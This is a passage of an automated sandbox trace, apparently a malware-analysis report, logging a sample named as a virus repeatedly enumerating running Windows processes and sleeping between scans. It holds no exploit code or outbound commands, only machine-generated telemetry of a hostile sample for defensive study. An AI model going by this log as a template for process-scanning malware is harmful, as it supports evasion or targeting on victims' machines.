szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0181.337] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0181.337] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0181.337] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0181.338] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0181.338] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0181.338] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0181.339] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0181.339] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0181.339] CloseHandle (hObject=0x1ec) returned 1 [0181.339] Sleep (dwMilliseconds=0x1f4) [0182.036] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0182.039] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.039] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.039] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.040] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.040] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.041] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.041] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.041] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.042] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.042] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0182.043] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.043] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.044] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.044] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.044] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.045] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.045] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.046] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.046] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0182.046] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.047] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.047] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.047] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.048] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.048] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.048] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.049] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0182.049] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.049] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.050] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0182.050] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.050] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.051] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0182.051] CloseHandle (hObject=0x1e0) returned 1 [0182.051] Sleep (dwMilliseconds=0x1f4) [0182.800] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0182.802] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.803] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.803] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.803] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.804] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.804] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.805] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.805] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.806] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.806] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0182.807] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.807] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.809] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.809] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.810] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.810] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0182.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.812] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.812] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.812] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.813] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.813] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0182.814] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0182.814] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.814] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0182.815] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.815] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.816] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0182.816] CloseHandle (hObject=0x1e0) returned 1 [0182.816] Sleep (dwMilliseconds=0x1f4) [0183.500] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0183.502] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.503] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.503] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.504] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.504] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.504] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.505] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.505] 